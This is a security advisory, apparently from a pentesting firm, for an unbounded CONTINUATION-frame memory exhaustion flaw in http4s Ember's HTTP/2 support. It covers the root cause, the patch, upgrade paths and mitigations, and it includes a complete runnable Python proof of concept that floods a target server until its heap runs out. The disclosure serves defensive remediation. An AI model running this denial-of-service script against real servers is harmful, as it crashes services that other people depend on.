high · 7.5CVE-2026-69218Sep 15, 2026

CVE-2026-69218: http4s Ember HTTP/2 Unbounded CONTINUATION Frame Memory Exhaustion

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

An attacker can crash any http4s Ember server or client with HTTP/2 enabled by streaming CONTINUATION frames forever, exhausting the JVM heap with no authentication required.

Packageorg.http4s:http4s-ember-core_2.12
Ecosystemmaven
Affected<= 0.23.34
Fixed in0.23.35
CVE-2026-69218: http4s Ember HTTP/2 Unbounded CONTINUATION Frame Memory Exhaustion

The problem

The Ember HTTP/2 engine in http4s accumulates header block fragments across HEADERS and CONTINUATION frames into an in-memory buffer. Before 0.23.35, there was no bound on how large that buffer could grow.

Any unauthenticated remote peer can open an HTTP/2 stream, send a HEADERS frame with END_HEADERS=0, then send CONTINUATION frames indefinitely. Memory grows until the JVM OOMs. The attack hits both servers (any reachable path, pre-auth) and clients (a malicious origin server triggers it via response headers).

Proof of concept

A working proof-of-concept for CVE-2026-69218 in org.http4s:http4s-ember-core_2.12, with the exact payload below.

python
#!/usr/bin/env python3
# CVE-2026-69218 - http4s Ember CONTINUATION flood PoC
# Sends one HEADERS frame (END_HEADERS=0) then loops CONTINUATION frames
# with END_HEADERS=0, filling the server's header-block accumulation buffer.
# Run against any h2 Ember server: python3 poc.py <host> <port>

import socket, ssl, struct, sys

CLIENT_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

def frame(ftype, flags, stream_id, payload):
    length = len(payload)
    return struct.pack(">I", length)[1:] + bytes([ftype, flags]) + struct.pack(">I", stream_id) + payload

# SETTINGS frame (type=0x4, flags=0, stream=0) - empty, just open the connection
SETTINGS = frame(0x4, 0x0, 0, b"")

# Minimal HPACK block for GET / HTTP/2 (partial, no END_HEADERS)
HPACK_PARTIAL = bytes([
    0x82,  # :method: GET  (indexed)
    0x84,  # :path: /      (indexed)
    0x86,  # :scheme: https (indexed)
])

# HEADERS frame, stream 1, flags=0x00 (END_HEADERS NOT set)
HEADERS = frame(0x1, 0x00, 1, HPACK_PARTIAL)

# CONTINUATION frame payload: 16 KB of junk header data per frame
# type=0x9, flags=0x00 (END_HEADERS NOT set -> Ember keeps buffering)
CONT_PAYLOAD = b"\x00" * 16384
CONT = frame(0x9, 0x00, 1, CONT_PAYLOAD)

host, port = sys.argv[1], int(sys.argv[2])

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(["h2"])

with socket.create_connection((host, port)) as raw:
    with ctx.wrap_socket(raw, server_hostname=host) as conn:
        conn.sendall(CLIENT_PREFACE + SETTINGS + HEADERS)
        print("[*] Sent HEADERS with END_HEADERS=0, flooding CONTINUATION frames...")
        # Keep sending until OOM kills the server or connection drops
        sent = 0
        while True:
            conn.sendall(CONT)
            sent += len(CONT_PAYLOAD)
            if sent % (1024 * 1024) == 0:
                print(f"[*] Sent {sent // 1024 // 1024} MB so far")

The root cause is CWE-770: the CONTINUATION frame handler in H2Connection.scala appended each frame's payload to a growing ByteVector accumulator with no size guard. The patch in commit 6e8eccd adds a check against SETTINGS_MAX_HEADER_LIST_SIZE (derived from maxHeaderSize / maxResponseHeaderSize): if the accumulated block would exceed that limit, the connection is terminated with a GOAWAY frame instead of buffering further.

Before the fix, the only bound on memory was the attacker's upload speed and the TCP connection lifetime. Because the attack completes before any request decoding or authentication, all paths are reachable pre-auth. The receiveHeadersTimeout added by the patch provides a second defence: an incomplete header block that lingers too long is also torn down.

The fix

Upgrade to http4s-ember-core 0.23.35 (0.23.x series) or 1.0.0-M47 (1.0.x milestone series). If you cannot upgrade immediately, disable HTTP/2 by removing .withHttp2 from EmberServerBuilder / EmberClientBuilder (it is off by default), or place Ember behind a reverse proxy that terminates HTTP/2 and speaks HTTP/1.1 upstream.

Reporter not attributed.

References: [1][2][3][4][5]

Related research